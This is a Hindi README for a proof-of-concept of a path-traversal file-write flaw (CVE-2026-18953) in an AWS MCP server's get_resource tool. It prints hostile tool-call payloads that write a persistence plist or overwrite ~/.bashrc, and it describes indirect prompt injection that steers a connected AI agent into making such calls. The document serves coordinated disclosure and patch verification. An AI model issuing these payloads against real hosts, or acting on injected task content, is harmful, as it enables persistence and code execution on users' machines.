
CVE-2026-18953 के लिए PoC — awslabs.aws-transform-mcp-server के get_resource टूल में savePath पैरामीटर के माध्यम से मनमाना फ़ाइल लेखन (CWE-22)
| CVE | CVE-2026-18953 |
| CWE | CWE-22 — पाथनाम का प्रतिबंधित निर्देशिका तक अनुचित सीमाकरण |
| प्रभावित | awslabs.aws-transform-mcp-server 0.1.0 – 0.1.4 |
| सुधारित संस्करण | 0.1.5 |
| CVSS v3.1 | 8.6 HIGH — AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 6.3 MEDIUM — AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| सुरक्षा परामर्श | GHSA-66mr-jr63-2jgw |
| बुलेटिन | AWS Security Bulletin 2026-075 |
| रिपोर्टर | Drew Raines (समन्वित प्रकटीकरण) |
| प्रकाशित | 2026-08-05 |
get_resource(resource="artifact" | "asset", ...) एक पूर्व-हस्ताक्षरित S3 URL से फ़ाइल डाउनलोड करता है और, जब कॉल करने वाला savePath / fileName पास करता है, तो उसे इस माध्यम से स्थानीय डिस्क पर सहेजता है:
tools/get_resource.py -> tool_utils.download_s3_content()
-> file_validation.validate_write_path()
<= 0.1.4 में, validate_write_path() केवल:
save_path को os.path.realpath(os.path.expanduser(...)) से रिज़ॉल्व करता है।~/.aws, ~/.ssh, ~/.gnupg, ~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd)।os.path.basename() के माध्यम से file_name से निर्देशिका घटकों को हटाता है।यह रिज़ॉल्व की गई निर्देशिका को किसी भी आधार/कार्यशील निर्देशिका तक सीमित नहीं करता है, और BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) केवल रीड पर लागू होता है, राइट पर नहीं। इसलिए इस सर्वर का कोई भी MCP क्लाइंट — जिसमें वह एजेंट भी शामिल है जिसे इसी टूल के माध्यम से प्राप्त अविश्वसनीय job/task/message सामग्री के ज़रिए अप्रत्यक्ष रूप से प्रॉम्प्ट-इंजेक्ट किया गया हो — savePath को निरपेक्ष पथ, ../.. ट्रैवर्सल, या संवेदनशील डॉटफ़ाइल नाम पर सेट कर सकता है, और सर्वर वहाँ हमलावर-प्रभावित बाइट्स लिख देता है। यह उस निर्देशिका के बाहर एक फ़ाइल-लेखन प्रिमिटिव है जिसके भीतर ऑपरेटर मानता है कि डाउनलोड सीमित हैं; परामर्श में नोट किया गया है कि यह "स्थानीय कोड निष्पादन का कारण बन सकता है" (उदा. शेल स्टार्टअप फ़ाइल को क्लोबर करना)।
0.1.5 इसे एक स्पष्ट अनुमत-सूचीबद्ध आधार निर्देशिका (_ALLOWED_WRITE_BASE, जो $AWS_TRANSFORM_MCP_WRITE_DIR या स्टार्टअप के समय सर्वर के CWD से ली जाती है) जोड़कर ठीक करता है, जिसके अंतर्गत प्रत्येक रिज़ॉल्व किया गया राइट पथ आना चाहिए, और अंतिम रिज़ॉल्व किए गए राइट पथ पर BLOCKED_FILENAMES को भी लागू करके।
पूर्ण मूल-कारण अंतर: vendor/0.1.4-vulnerable/file_validation.py बनाम vendor/0.1.5-fixed/file_validation.py (दोनों PyPI / GitHub से शब्दशः लिए गए, Apache-2.0)।
इस सर्वर से जुड़ा एक MCP क्लाइंट (Q Developer, Kiro, Claude, आदि) इस प्रकार का टूल कॉल जारी करता है:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
या, एक सापेक्ष सैंडबॉक्स निर्देशिका से:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
चूँकि यह टूल resource="task" प्रतिक्रियाओं को ऐसी चीज़ों के रूप में वर्णित करता है जिन्हें एजेंट को पढ़ना चाहिए और उन पर कार्य करना चाहिए, और resource="messages" सामग्री चैट/जॉब डेटा से उत्पन्न होती है, इसलिए किसी कार्यक्षेत्र सहयोगी (या समझौता किए गए अपस्ट्रीम जॉब/मैसेज स्रोत) को किसी मानव से यह टाइप करवाने की आवश्यकता नहीं है — पहले से जुड़े एजेंट को शत्रुतापूर्ण savePath के साथ get_resource कॉल करने के लिए प्रेरित करना पर्याप्त है। इस दोष को प्रदर्शित करने के लिए कोई वास्तविक AWS क्रेडेंशियल आवश्यक नहीं हैं, क्योंकि यह बग पूरी तरह से स्थानीय पथ हैंडलिंग में है, S3 फ़ेच से पहले/बाद में।
python3 poc.py
कोई तृतीय-पक्ष निर्भरता नहीं, कोई AWS खाता नहीं, AWS तक कोई नेटवर्क पहुँच नहीं। स्क्रिप्ट:
file_validation.py को वेंडर करती है (vendor/ देखें)।tool_utils.py के सटीक नियंत्रण प्रवाह के साथ download_s3_content() को पुनः लागू करती है (केवल httpx को stdlib urllib से बदला गया है — शून्य निर्भरताएँ, समान तर्क), और इसे ठीक वैसे ही चलाती है जैसे get_resource चलाता है।savePath/fileName जोड़े दागती है — निरपेक्ष-पथ एस्केप, सापेक्ष ../.. ट्रैवर्सल, और केवल-रीड पर अवरुद्ध डॉटफ़ाइल नाम — फिर ठीक किए गए वैलिडेटर पर।सब कुछ एक डिस्पोज़ेबल mkdtemp() स्क्रैच निर्देशिका के भीतर होता है; आपका वास्तविक $HOME कभी नहीं छुआ जाता। नमूना आउटपुट:
=== Target: file_validation.py from 0.1.4-vulnerable ===
-> Absolute path escape (no traversal needed at all)
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed ===
-> Absolute path escape (no traversal needed at all)
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (...)
-> Relative "../../.." traversal out of the sandbox dir
RESULT: BLOCKED (raised ValueError): ...
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: BLOCKED (raised ValueError): ...
awslabs.aws-transform-mcp-server >= 0.1.5 पर अपग्रेड करें। पुराने संस्करणों के लिए कोई सर्वर-साइड वर्कअराउंड नहीं है; परामर्श अपग्रेड करने की अनुशंसा करता है। जो ऑपरेटर तुरंत अपग्रेड नहीं कर सकते, उन्हें सर्वर को उसके CWD को एक समर्पित, खाली निर्देशिका पर सेट करके चलाना चाहिए और उसके द्वारा लिखी जा सकने वाली किसी भी फ़ाइल को समझौता किया हुआ मानना चाहिए।
README.md — this file
poc.py — self-contained PoC driver
vendor/_loguru_shim.py — tiny stand-in for the `loguru` dep (test scaffolding only)
vendor/0.1.4-vulnerable/file_validation.py — real vulnerable source, from PyPI sdist
vendor/0.1.5-fixed/file_validation.py — real patched source, from github.com/awslabs/mcp@main